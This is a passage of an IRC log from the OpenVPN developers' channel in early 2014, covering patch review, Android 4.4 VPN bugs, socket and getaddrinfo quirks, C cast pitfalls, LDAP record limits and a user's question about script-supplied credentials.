morning 07:35 <@d12fk> feells like it though, so i let it count =) 07:40 <@ecrist> on the proper side of the planet, it's morning. :P 07:40 <@d12fk> axis of morning =P 07:43 <@ecrist> heh 08:08 <@dazo> cron2: Have you looked at James' git tree? 08:11 <@dazo> There are 3 patches which we might want to include 08:11 <@dazo> b2e483e MSVC 2013 C library now defines strtoull() function, so use the native implementation when available. 08:11 <@dazo> d3a7782 Added ./configure flag to force TLS 1.0. 08:11 <@dazo> 613dce8 MSVC fixes 08:12 <@dazo> that's basically what he has currently pushed out, on top of our upstream 08:32 <@cron2> dazo: I'm aware of d3a7782 (though I'm not sure we want that), wasn't aware of the other two, which sounds like stuff we want 08:32 -!- Tthom [~Tthom@dhcp-077-251-225-206.chello.nl] has quit [Ping timeout: 252 seconds] 08:34 -!- Tthom [~Tthom@94.100.18.181] has joined #openvpn-devel 08:34 <@plaisthos> dazo: that tree is not public, right? 08:37 <@dazo> plaisthos: it's on github 08:37 <@dazo> git://github.com/jamesyonan/openvpn.git 08:39 <@dazo> I suddenly see that James have more projects going on ... https://github.com/jamesyonan/brenda 08:39 <@vpnHelper> Title: jamesyonan/brenda · GitHub (at github.com) 08:40 <@cron2> that is quite unrelated :) 08:41 <@dazo> yeah :) 08:47 <@mattock> I think that Brenda thing is what he wrote for his son's project 08:48 <@mattock> wow, quite exhaustive documentation... true James style 08:55 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 272 seconds] 09:52 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 09:52 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 10:16 <@mattock> I think I'll make Trac populate it's internal email field from LDAP when the user logins the first time 10:17 <@plaisthos> mattock: good idea 10:17 <@mattock> seems least intrusive 10:17 <@mattock> Trac doesn't really have any user management (e.g. a user table) - it's only tracking sessions, and persisting those which are authenticated 13:02 -!- Tthom [~Tthom@94.100.18.181] has quit [Ping timeout: 245 seconds] 13:03 -!- Tthom [~Tthom@dhcp-077-251-225-206.chello.nl] has joined #openvpn-devel 13:47 <@mattock> plaisthos: did you change your signing key for OpenVPN for Android by any chance? 13:55 -!- Tthom [~Tthom@dhcp-077-251-225-206.chello.nl] has left #openvpn-devel [] 14:16 -!- dazo is now known as dazo_afk 15:02 -!- Tthom [~Tthom@94.100.18.181] has joined #openvpn-devel 15:58 -!- mattock is now known as mattock_afk 18:05 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 252 seconds] 18:05 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 18:05 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 19:04 <@vpnHelper> RSS Update - tickets: #367: LZO compression initialized message displays based on build, not config <https://community.openvpn.net/openvpn/ticket/367> 19:10 * pekster is a solid +0 on that. Maybe it'll confuse users a bit less 19:10 <@pekster> Maybe a +0.25 :P 19:10 <+krzee> pekster explained to me why it should not be removed 19:11 <+krzee> so maybe a simple change in language to make it more clear to the reader 19:11 <+krzee> i cant be the only one who thinks that message means "we're going to be using lzo now" 19:11 <@pekster> Now's your chance to learn how to make a git-formatted patch ;) 19:11 <+krzee> hey i can get my dev cloak! 19:11 <+krzee> hahah 19:12 <+krzee> just playing 19:12 <+krzee> !git 19:12 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png or 19:12 <@vpnHelper> (#6) for the windows TUN/TAP driver repo, look at !tapdrvr 19:12 <@pekster> It's more 'the easier you make it to merge' kind of thing 19:13 <+krzee> ya except im pretty sure its plenty easier for an actual dev who has a) made a patch and b) used git, like 1min instead of an hour for me 19:14 <+krzee> plus now that i know, it wont matter for me again, im just thinking of the users 19:15 <@pekster> The 'lzo =' debug message is the goofy one since it's easy to assume it's an off/on (0/1) value, but it's not a bool. FYI, books show up in the verb 4 options list as true/false, so if you see numbers they could very well be bitmasks 19:15 <@pekster> s/books/bools/ 22:34 -!- mback2k_ [~freenode@89.238.84.46] has quit [Ping timeout: 272 seconds] --- Day changed Fri Jan 24 2014 00:53 -!- mattock_afk is now known as mattock 02:43 <@cron2> is that 2.3 or 2.4? 03:25 -!- Tthom_ [~Tthom@dhcp-077-251-225-206.chello.nl] has joined #openvpn-devel 03:27 -!- Tthom [~Tthom@94.100.18.181] has quit [Ping timeout: 245 seconds] 03:27 -!- Tthom_ is now known as Tthom 03:32 <@plaisthos> mattock: no, I did not 03:32 <@plaisthos> mattock: why? 04:09 <@mattock> plaisthos: F-Droid (an open source "appstore") complained about a changed signing key 04:09 <@mattock> I wonder if they sign the packages themselves, and have changed the key, or what... 04:11 <@plaisthos> mattock: they build and sign the packages themselves 04:11 <@plaisthos> to ensure that sourcecode and binary are the same source 04:14 -!- dazo_afk is now known as dazo 04:14 <@plaisthos> My version says version 0.5.46, official version while other version will display something like, 0.5.46, build by (CN of the signer certificate) 04:39 <@plaisthos> mattock: does f-droid tell you that you should upgrade? 06:05 -!- novaflash is now known as novaflash_away 09:38 <@plaisthos> I could kill my University network admins 09:39 <@plaisthos> they blocked ntp on the firewall for all servers but the main ntp servers 09:43 <@cron2> yay, this is exactly the way to handle the current NTP issues 09:43 * cron2 is so annoyed with the whole topic 09:44 <@cron2> instead of getting organized and killing ISPs that permit spoofed traffic, they make a big hubbub about closing DNS servers, closing NTP servers, closing UDP/19 servers, ... - in many cases killing production traffic with it ("nobody needs that!") 09:44 <@cron2> and when they discover that TCP/80 can be used for reflection attacks as well, they will be all so surprised 09:45 <@cron2> (admittedly there is good reason to close NTP servers regarding status queries and config stuff "from the wide open", but "filter all NTP" is *exactly* what I assumed would be the typical reaction) 09:52 <@plaisthos> yeah 09:52 <@plaisthos> my macbook does not get time anymore now 09:53 <@plaisthos> since it uses time.apple.com 09:54 <@d12fk> they only tell you it's time for a new macbook anyways =) 09:54 <@dazo> lol 10:09 * cron2 uses plaisthos' comments as nice opportunity to rant at some people that advocate filtering "bad protocols" to cope with reflective DoS attacks 11:32 -!- raidz is now known as raidz_away 11:40 -!- raidz_away is now known as raidz 13:36 -!- dazo is now known as dazo_afk 14:42 -!- mattock is now known as mattock_afk 15:53 -!- raidz is now known as raidz_away 16:00 -!- raidz_away is now known as raidz --- Day changed Sat Jan 25 2014 00:44 -!- mattock_afk is now known as mattock 13:51 -!- mattock is now known as mattock_afk 15:36 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 15:38 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 15:38 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:30 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 22:31 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 22:31 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 22:32 -!- vpnHelper is now known as 23LAAYVV6 22:32 -!- 23LAAYVV6 is now known as vpnHelper --- Day changed Sun Jan 26 2014 05:41 <@cron2> aw shit... plaisthos' preresolve patch is already sitting 5 weeks in my "need to review this" queue 12:11 <@plaisthos> :) 12:11 <@plaisthos> random people are adding me on g+ 17:10 <@pekster> I'm beginning to think that we shouldn't be hiding the options printout at --verb 4 when enable_small=yes. AFAICT we don't save any space in the binary (the primary reason to want ENABLE_SMALL) and it makes debugging embedded much harder 17:12 <@pekster> Maybe I've missed something, but f.ex this ifdef doesn't save anything except some defines: https://github.com/OpenVPN/openvpn/blob/master/src/openvpn/options.c#L899 17:12 <@vpnHelper> Title: openvpn/src/openvpn/options.c at master · OpenVPN/openvpn · GitHub (at github.com) 17:12 <@pekster> I suppose it'll cause slightly more CPU chrun on init, but that's once-only, and at verb <4 D_SHOW_PARMS won't clutter the logs 21:09 <@ecrist> pekster: writes are expensive on embedded systems 21:10 <@pekster> Yes, yes, but using verb 4 isn't something people normally do concerned with writes 21:10 <@ecrist> I'm not saying it's a bad idea, just trying to shed light on why it might have been removed 21:13 <@pekster> Yup, now I see where you're coming from; I'm not sure msg() output is the goal of enable_small, since verb 5 still spits out per-packet characters. I'll have to poke a bit to see what "else" we get at verb 4 vs 3 to see what else comes along with that 21:14 <@pekster> IIRC there's rekeying info too, but I'm not sure offhand how much is/isn't removed with enable_small=yes builds 21:17 <@pekster> configure.ac does suggest that it's for smaller executable size though, not logs (necessarily) 21:18 <@pekster> If anyone else knows, poke me. I'll probably dig a bit and maybe offer a patch in a few days if it seems to be of minor impact elsewhere. I've run into this before on embedded, and it's painful where systems don't really expose what openvpn is doing (yes, their fault.. and yet) 21:28 <@ecrist> might be something in the irc logs 21:28 <@ecrist> !irclogs 21:28 <@vpnHelper> "irclogs" is Channel logs are available at http://secure-computing.net/logs/openvpn.txt and are updated in real-time while ecrist is online. 21:28 <@ecrist> hrm, that's main channel only 21:30 <@ecrist> pekster: any idea the timestamp of the commit? 21:30 <@ecrist> I have IRC logs from this channel going back to 2009 21:31 <@ecrist> lots of discussion in here about embedded systems a couple years ago 21:32 <@pekster> Oh fun, apparently the change from ENABLE_DEBUG to ENABLE_SMALL was me (of course, neither would cause that to happen on embedded.) The actual defines are from 2005 21:33 <@ecrist> ah, that's 3 years prior to my involvement in anything 21:33 <@pekster> "BETA21" branch is how old this is 21:33 <@pekster> So yea, probably time we re-visited it :P 21:40 <@pekster> A few display funcs are involved too now that I dig (this rings some bells looking at the work I did on this last Feb in 6c61d0d 21:40 * pekster saves the compile comparisons for another day 23:18 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 252 seconds] 23:21 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 23:21 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Day changed Mon Jan 27 2014 02:03 <@cron2> this is pre-git stuff... and yeah, if it doesnt save anything, keep it. but i think it's a few kbytes... 03:21 -!- dazo_afk is now known as dazo 07:13 <@plaisthos> cron2, mattock_afk: james promised to document current wire protocol, right? 11:06 <@cron2> right 11:06 <@cron2> plus "how we envision the new protocol to be" 11:37 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has joined #openvpn-devel 12:02 <@ecrist> m-a: how goes? 12:11 < m-a> ecrist: fine, thanks 12:11 < m-a> ecrist: and you? 12:13 <@ecrist> good! 12:16 < m-a> ecrist: what's new on the openvpn front for FreeBSD that I missed? 12:29 <@cron2> m-a: welcome back :-) - nothing particular, except that I'm fixing all open bugs regarding --multihome these days, and FreeBSD is one of the platforms in need of fixing :-) 12:29 <@ecrist> like cron2 said, nothing special. 12:29 < m-a> cron2: drop me a mail if you need help or testing 12:30 <@ecrist> nothing new to the point I haven't bothered to update the -devel port in some time 12:30 <@cron2> m-a: thanks for that offer. Right now I have all the code (in a standalone test program) and "just" need to reintegrate into the openvpn tree and re-test on all platforms... 12:32 * m-a is currently fixing up the openvpn port because the self-tests get stuck on hosts that do not have IPv4 interfaces. A missing failover to a different address family is what I consider a minor bug in 2.3.2. 12:32 < m-a> I need to make a distinction between udp and udp6, and that is somewhat, um, unmodern. 12:33 <@cron2> m-a: uh. Arne's code that went into git master should handle that fine ("udp" is "ask getaddrinfo() and use whatever AFI comes back" now) 12:34 <@cron2> we'll not backport that to 2.3 as the change is quite invasive 12:34 < m-a> I understand that, and because I suspected as much (although I have not been following master too closely), that will be appreciated. 12:34 <@ecrist> m-a: I think I implemented an option to enable/disable the testing 12:34 < m-a> ecrist: if you upgrade the -devel port, please do NOT merge my patch I will be committing soonish that adds a files/patch_tests_t_cltsrv.sh 12:35 <@ecrist> kk 12:35 <@cron2> the dual-stack patch series had, I think, 8 or 9 quite large patches :-) 12:52 -!- dazo is now known as dazo_afk 13:04 < m-a> ecrist: http://svnweb.freebsd.org/ports?view=revision&revision=341442 is what I am asking you to ignore and NOT merge to FreeBSD's openvpn-devel port. 13:04 <@vpnHelper> Title: [ports] Revision 341442 (at svnweb.freebsd.org) 13:16 <@ecrist> ok 13:20 <@plaisthos> m-a: in 2.4 udp is udp+udp6 autoselect and udp4/udp6 are force inet/inet6 13:20 < m-a> we will appreciate that. 13:21 < m-a> we=we all 17:16 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has quit [Ping timeout: 245 seconds] --- Day changed Tue Jan 28 2014 01:08 -!- mattock_afk is now known as mattock 04:35 -!- dazo_afk is now known as dazo --- Log closed Tue Jan 28 05:31:03 2014 --- Log opened Tue Jan 28 06:44:21 2014 06:44 -!- ecrist_ [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 06:44 -!- Irssi: #openvpn-devel: Total of 20 nicks [10 ops, 0 halfops, 2 voices, 8 normal] 06:44 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 06:44 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 10:04 <@d12fk> am i right thinking that after a SIGUSR1 the option->gc is not freed? 10:05 <@cron2> d12fk: no idea. Plaisthos might know 10:05 <@plaisthos> d12fk: no 10:06 <@d12fk> plaisthos: no -> not right or no -> not freed 10:06 <@plaisthos> That is very well hidden 10:06 <@plaisthos> give me a sec 10:06 <@plaisthos> I needed to find that one for my preresolve patch 10:07 <@d12fk> i could strace and check if the conf file is read again =) 10:08 <@plaisthos> d12fk: it is read again iirc 10:08 <@plaisthos> no 10:09 * d12fk will check 10:09 <@plaisthos> it is not 10:09 <@plaisthos> it is read again on HUP 10:09 <@plaisthos> but not on USR1 10:09 <@plaisthos> c2.gc is freed on USR1 10:12 <@plaisthos> uninit_options (&c.options); 10:12 <@plaisthos> in openvpn.c kill the gc of options 10:15 <@d12fk> hm i see it open the config file on both 10:16 <@plaisthos> sure? 10:16 <@d12fk> jup, not sure if the gc is freed though 10:16 <@plaisthos> if you hit usr in the initialisation phase usr1 is promoted to hup 10:16 <@d12fk> ah that might have been the vase 10:17 <@d12fk> case =) 10:17 <@plaisthos> look for CC_HARD_USR1_TO_HUP 10:18 <@d12fk> "SIGHUP[hard,] received" even though i sent it usr1, need to check the config, probably messed things up there 10:18 <@d12fk> remap-usr1 SIGHUP <- fail 10:19 <@plaisthos> :D 10:19 <@plaisthos> that remembers I should check what the dual stack code does there 10:19 <@plaisthos> it probably tries the first addr1, does not connect -> USR1 -> HUP -> tries first address again 10:20 <@plaisthos> remap-usr1 with dual-stack and/or multiple remotes is thought through probably 11:07 -!- You're now known as ecrist 11:57 -!- dazo is now known as dazo_afk 13:25 <@plaisthos> When using socks proxy only the cp connection for the control connection is bound to a local interface. The data connection is not bound 13:30 <@mattock> plaisthos: have people reported IPv6 VPN issue to you after Android 4.4 upgrade? 13:30 <@mattock> issues 13:41 <@plaisthos> mattock: as transport or as payload? 13:41 <@mattock> payload 13:41 <@plaisthos> Ipv6 as payload is completly for at least 2 bugs 13:41 <@plaisthos> one is that you need native ipv6 to have ipv6 payload working 13:41 <@mattock> for example, connecting to the IPv6 internet via an OpenVPN server 13:42 <@mattock> if one does not have native IPv6 connetivity 13:43 <@mattock> here are some VPN API bug reports: 13:43 <@mattock> http://androidcommunity.com/android-4-4-introduces-major-vpn-bug-20131112/ 13:43 <@mattock> https://supportforums.cisco.com/thread/2250185 13:43 <@mattock> http://www.featvpn.com/support-android-44-0 13:43 <@vpnHelper> Title: Android 4.4 introduces major VPN bug - Android Community (at androidcommunity.com) 13:43 <@vpnHelper> Title: AnyConnect Android 4.4 (KitKat) Compatibility Update (CSCul28340)|2250185 - Cisco Support Community (at supportforums.cisco.com) 13:43 <@vpnHelper> Title: Support for Android 4.4 | FEAT VPN (at www.featvpn.com) 13:45 <@plaisthos> the other is that if don't have 3.8 kernel you are missing ipv6 nat which the 4.4 VPNService API *needs* 13:46 <@plaisthos> the list of VPN bugs in 4.4 is just too long 13:46 <@mattock> :P 13:47 <@plaisthos> https://code.google.com/p/android/issues/list?can=2&q=VpnService&colspec=ID+Type+Status+Owner+Summary+Stars&cells=tiles 13:47 <@vpnHelper> Title: Issues - android - Android Open Source Project - Issue Tracker - Google Project Hosting (at code.google.com) 14:37 <@mattock> it seems that openvpn connect as well as openvpn for android are affected by some of these 14:37 <@mattock> or something else that's broken 14:37 <@mattock> pre-4.4 versions work just fine 15:12 <@cron2> bah, Linux 15:12 * cron2 is currently fighting something completely different - namely "make ser2net accept connections on IPv6". It has the same problem we have: it tells getaddrinfo() "give me something AI_PASSIVE to bind to" and it gets back INADDR_ANY, so "v4-only"... 15:14 -!- mattock is now known as mattock_afk --- Day changed Wed Jan 29 2014 00:58 -!- mattock_afk is now known as mattock 01:11 <@plaisthos> yeah and there is the broken logic 01:11 <@plaisthos> getaddrinfo() gives back *all* addresses you should bind to :/ 01:13 <@plaisthos> after working on these whole openvpn socket stuff I would recommend everyone to use some library 01:13 <@plaisthos> using sockets directly only looks easy 01:14 <@cron2> indeed. 01:14 <@cron2> (OTOH I've learned quite a lot about getaddrinfo(), getnameinfo() and such in the process - just found a slightly older code snipped yesterday which was using inet_pton() to format addresses for printing instead of getnameinfo()...) 01:16 <@plaisthos> from the man page under bugs: 01:16 <@plaisthos> The problem of host byte ordering versus network byte ordering is confusing 01:16 <@cron2> lol, *this* I find quite easy to understand - "don't think, always religiously use htons() where indicated" 01:17 <@plaisthos> unless you use the whole old (before getaddrinfo/getnameinfo) function 01:17 <@plaisthos> I am not sure if in_addr was network or host byte order 01:18 <@cron2> no idea 01:19 <@plaisthos> seems to be network byte order 01:20 <@plaisthos> just grep fro GETADDR_HOST_ORDER in openvpn 01:20 <@plaisthos> to see where we request the other order %) 01:59 -!- ibins [~ibins@cl-147.ham-02.de.sixxs.net] has quit [Ping timeout: 245 seconds] 02:23 -!- ibins [~ibins@dslb-084-056-095-108.pools.arcor-ip.net] has joined #openvpn-devel 03:23 -!- dazo_afk is now known as dazo 06:55 <@d12fk> I get tons of compiler warnings with sSLES11's gcc 4.3.4 -Wall in master 06:55 <@d12fk> should this be fixed 06:56 <@d12fk> $ make 2>&1 | grep warning | wc -l 06:56 <@d12fk> 1059 06:58 <@d12fk> many of them unused parameter, comparison of unsigned expression >= 0 is always true, signedness issues 07:04 <@plaisthos> :) 07:05 <@plaisthos> there are a lot of size_t vs int stuff in openvpn 07:05 <@plaisthos> for things that are packet length, buffer length and so on 07:06 <@d12fk> size_t is signed, are you thinking of ssize_t 07:06 <@plaisthos> size_t is unsigned iirc 07:07 <@plaisthos> typedef unsigned long __darwin_size_t; /* sizeof() */ 07:07 <@plaisthos> at least on os x 07:08 <@plaisthos> oh read/send and so on take ssize_t 07:10 <@d12fk> yep, jut checked, i confused them (again) =) 07:10 <@cron2> fixing these is sometimes not directly obvious - "just sprinkling casts across the code until the warnings go away" is *not* always the best approach 07:11 * cron2 has seen enough cases where "pointer to int" vs. "pointer to long" caused weird problems on sparc64, and the code was nicely free of warnings, because function( (int*) &longvar)... 07:13 <@plaisthos> yeah 07:13 <@plaisthos> that is obvious that should break on big endian 07:13 <@d12fk> fixing by casting is what the weasel does =) 07:14 <@plaisthos> it just accidently works on little endian 07:14 <@cron2> plaisthos: tell that to the amanda folks that did that to time(&t) :-) - time_t is long on sparc64, and all my timestamps ended up being 1.1.1970... 07:14 <@plaisthos> casting double to float using this approach is probably more fun :D 07:15 <@cron2> d12fk: indeed 07:16 <@plaisthos> ((int*) &longvar)+1 should work on bige endian :D 07:18 <@cron2> well. It will write into the lower 32 bits, and leave the upper 32bits alone, so if that happens to be 0, fine... 07:22 <@plaisthos> :) 07:23 <@plaisthos> cron2: you are too negative. It is 100% compatible with little endian (int*) casting dsolution 07:23 <@cron2> true (in that specific example, time_t was an "int" on most platforms, only NetBSD made it a "long"... combine with big endian...) 07:23 <@cron2> it was a while ago, but made me quite wary about casts 07:25 <@plaisthos> IIrc newer FreeBSDs also have a long time_t 08:15 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 08:16 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 08:16 -!- mode/#openvpn-devel [+o dazo] by ChanServ 10:43 <@d12fk> anyone up for reviewing the --max-routes elimination patch? 11:16 -!- dazo is now known as dazo_afk 11:49 <@cron2> d12fk: not right now. I've skimmed briefly over it and it looks reasonable, but haven't reviewed it well enough to ACK it yet 11:49 <@d12fk> that's allright 14:00 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 14:09 <@plaisthos> I did the same 15:15 -!- Tthom [~Tthom@dhcp-077-251-225-206.chello.nl] has quit [Read error: Connection reset by peer] 15:59 -!- mattock is now known as mattock_afk 16:09 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 16:09 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 16:09 -!- dazo_afk is now known as dazo 16:35 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 16:36 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 16:36 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 16:37 -!- dazo_afk is now known as dazo 18:32 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 18:37 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 18:37 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 18:37 -!- dazo_afk is now known as dazo 18:50 <@ecrist> ping mattock_afk 18:50 <@ecrist> or raidz 18:50 <@raidz> sup ecrist 18:51 <@ecrist> do you guys control google analytics on the forums? 18:51 <@raidz> not sure 18:51 <@ecrist> I don't seem to have an account with GA admin rights 18:51 <@raidz> lemme check 18:51 <@ecrist> I have access to view is all 18:51 <@raidz> not even sure if I have admin rights 18:52 <@raidz> do you know which ua thing is is? 18:52 <@ecrist> UA-20243560-1 18:53 <@raidz> I am not sure that that is the companies analytics thing 18:53 <@ecrist> no big deal 18:53 <@raidz> well now I am curious as to whos it is 18:53 <@raidz> lol 18:53 <@ecrist> I don't need anything at the moment, more curious who does control it 18:54 <@raidz> gotcha 20:30 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 272 seconds] 21:21 <@vpnHelper> RSS Update - gitrepo: Fix "." in description of utun. <https://github.com/OpenVPN/openvpn/commit/66ff10ef5197b6c70429a15e572aeb2d4073b470> || Add "test-driver" and "compile" to .gitignore <https://github.com/OpenVPN/openvpn/commit/c9dbc51a581a7ed666458a454fb4ad3e603dcf3f> || convert struct signal_info element <https://github.com/OpenVPN/openvpn/commit/9853b14f0934f6e37600b186831fae3d5bad213f> || make sure sa_family_t is defined <h --- Day changed Thu Jan 30 2014 01:11 -!- mattock_afk is now known as mattock 01:54 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 01:54 -!- mode/#openvpn-devel [+o andj] by ChanServ 03:10 <@syzzer> d12fk: I'm on the same page as cron2. Definitely a feature-ack, but too much work on my plate to do a code review at the moment. sorry. 08:35 <@plaisthos> I have to look into the pre_pull save 08:35 <@plaisthos> and why it is necessary 08:36 <@plaisthos> I don't understand that yet 08:36 <@d12fk> to restore the state before the pull (that modifies stuff that was saved) 08:37 <@plaisthos> d12fk: yeah but your interaction with that and gc stuff might leak memory 08:37 <@plaisthos> have not check that yet 08:38 <@d12fk> the idea is to use the option.gc for routes from options and the c2.gc for routes pulled 08:38 <@plaisthos> sounds reasonable 08:38 <@d12fk> so the mem for pushed routes is freed when the connection is terminated 08:39 <@d12fk> otherwise it would sum up in the options.gc if you USR1 a client until kingdom comes 08:39 <@plaisthos> :) 09:27 <@mattock> I copied the "Generic" questions from openvpn.net FAQ here: https://community.openvpn.net/openvpn/wiki/FAQ 09:27 <@vpnHelper> Title: FAQ – OpenVPN Community (at community.openvpn.net) 09:27 <@mattock> I'll move the rest later, if you guys think the basic layout is ok 09:28 <@mattock> much of the stuff is quite old and possibly entirely obsolete 10:22 <@mattock> it's all there now 11:47 -!- dazo is now known as dazo_afk 11:48 -!- dazo_afk is now known as dazo 12:58 <@dazo> mattock: please, please, please answer "Funcamp Imp" with: "No, we won't sell you a damn shit because your too stupid to think sales happens on a security address. We fear the support costs you can cause us" 12:59 <@cron2> haha 13:03 <@ecrist> did I miss a message? 13:05 <@dazo> ecrist: just a price quote request which was sent to sales@, info@ and security@ .... 13:06 <@ecrist> hrm, I didn't see it 13:06 <@ecrist> and I am on security@ 13:06 <@dazo> ecrist: hmmm ... I just deleted it, I didn't check it more carefully ... but might be you have a spam filter which killed it too 13:07 <@dazo> (I took it for spam, until I saw the To: field) 13:07 <@ecrist> I have an @openvpn.net email, their spam filter must have blocked it 13:07 <@dazo> ouch .... my wish came true .... 13:08 <@ecrist> ? 13:08 <@dazo> filtered by anti spam + ignoring them 13:08 <@ecrist> heh 14:16 <@cron2> tore is the wonder man... NM supports IPv6-in-OpenVPN now 14:17 <@cron2> (he just shared this on google+, no idea how you can see this without g+) 15:22 -!- dazo is now known as dazo_afk 16:20 -!- mattock is now known as mattock_afk 16:50 <@plaisthos> cron2: link? --- Day changed Fri Jan 31 2014 02:32 <@cron2> plaisthos: just look for "Tore Anderson" on g+ 03:16 <@plaisthos> cron2: ah okay, got it 05:32 -!- dazo_afk is now known as dazo 12:58 -!- dazo is now known as dazo_afk 13:31 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn-devel [] 13:33 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 13:33 -!- mode/#openvpn-devel [+o raidz] by ChanServ 13:49 <@ecrist> ping mattock or raidz 13:49 <@raidz> sup ecrist 13:49 <@ecrist> I think there's filter in LDAP somewhere limiting to 10,000 records 13:49 <@ecrist> we have 10,002 records at this point and 10,001 and 10,002 can't log in to anything 13:50 <@raidz> uh oh 13:50 <@ecrist> I'm trying to dig into things, but wanted to let you know 13:50 <@raidz> I think mattock manages that, I will let him know, although I think he is afk right now, he has been moving houses the past few days 13:52 <@ecrist> sizelimit 10000 13:52 <@ecrist> found it 13:52 <@ecrist> slapd.conf 13:52 <@ecrist> I don't manage puppet 13:53 <@ecrist> I hope it doesn't get overwritten 13:53 <@raidz> I would assume it does, what you can do though, if it does get overwrittern is comment it out on crontab until mattock can make the changes in puppet 13:53 <@raidz> but maybe wait and see if puppet overwrites it? 13:55 <@ecrist> there is no warning in that file about puppet managing it, so I'm going to hope for the best 13:56 <@ecrist> I increased it from 10,000 to 100,000 13:56 <@raidz> sounds good ecrist 13:57 <@ecrist> actually 13:57 <@ecrist> I'm going to change it to unlimited 13:57 <@ecrist> it's what we have at $work 14:21 <@ecrist> hasn't been overwritten yet, so I think it's safe --- Day changed Sat Feb 01 2014 12:33 <@vpnHelper> RSS Update - tickets: #368: --auth-user-pass does not null-terminate strings from console input via systemd-ask-password <https://community.openvpn.net/openvpn/ticket/368> 22:56 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 276 seconds] 23:03 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 23:03 -!- mode/#openvpn-devel [+o pekster] by ChanServ --- Day changed Sun Feb 02 2014 07:01 * cron2 curses C API 07:01 <@cron2> ctype and "normal" characters ... either it's a mess of (int) casts, or you use unsigned char and then you have lots of warnings for all *other* string functions 07:22 <@cron2> class1lib.c:670: warning: pointer targets in passing argument 1 of 'strncpy' differ in signedness 07:22 <@cron2> *curse* *spit* 07:28 <@plaisthos> cron2: yeah and then there is the fun that char is sometimes signed and sometimes unsigned 07:29 <@cron2> and that. But even if you decide "I always use unsigned char", you still end up with warnings in other places... like strcpy() and stuff 07:29 <@cron2> (this is not OpenVPN code, but #openvpn-devel is still a good place to rant about C code :) ) 07:31 <@plaisthos> cron2: we have the problem too 07:31 <@plaisthos> uint_8t vs char 07:32 <@plaisthos> the whole ntlm stuff just spews at you errors after errors 07:32 <@cron2> yep. Same thing... right now I'm cleaning up mgetty+sendfax to compile with -Werror, then I'll return to OpenVPN :) 07:40 <@plaisthos> yeah 07:40 <@plaisthos> I am just trying to do a "unblock-local" feature for Android 4.4 09:20 -!- novaflash_away is now known as novaflash 11:51 -!- raidz is now known as raidz_away 11:56 -!- raidz_away is now known as raidz 13:31 -!- omrib [~textual@bzq-84-108-191-159.cablep.bezeqint.net] has joined #openvpn-devel 13:32 -!- omrib is now known as omri 13:37 < omri> Hi. I'm trying to integrate openvpn with Google oauth2 authentication. tl;dr - I'm generating a username & password after authenticating the user externally. How can I pass these credentials from a script to OpenVPN? Using the management port is not good for me, since I'm already running openvpn with tunnelblick. Is there a way to make OpenVPN query a script for the credentials? 13:43 < omri> (of course that there's a script on the server side that verifies them) 13:47 -!- omri [~textual@bzq-84-108-191-159.cablep.bezeqint.net] has quit [Changing host] 13:47 -!- omri [~textual@unaffiliated/omri] has joined #openvpn-devel 14:14 <+krzee> the part after "tl;dr" cant be longer than the part before it 14:14 <+krzee> that was backwards usage 14:16 < omri> krzee: that's more a "long story short" rather than "tl;dr" :) 14:16 < omri> krzee: the oauth2 implementation details are irrelevant 14:16 <+krzee> !script 14:16 <@vpnHelper> "script" is see http://openvpn.net/index.php/open-source/documentation/manuals/69-openvpn-21.html#lbAR for a list of places scripts can hook into openvpn 14:17 <+krzee> hmm 14:18 <+krzee> doesnt look like the client can use a script for that as far as i see 14:18 < omri> krzee: believe me I've looked everywhere :) apparently what I'm trying to do is not possible without management 14:18 < omri> indeed 14:18 <+krzee> --auth-user-pass [up] 14:18 <+krzee> you could always have a different script modify the file 14:19 <+krzee> (im grasping) 14:19 < omri> 1. not all openvpn binaries support --auth-user-pass <file>. 2. 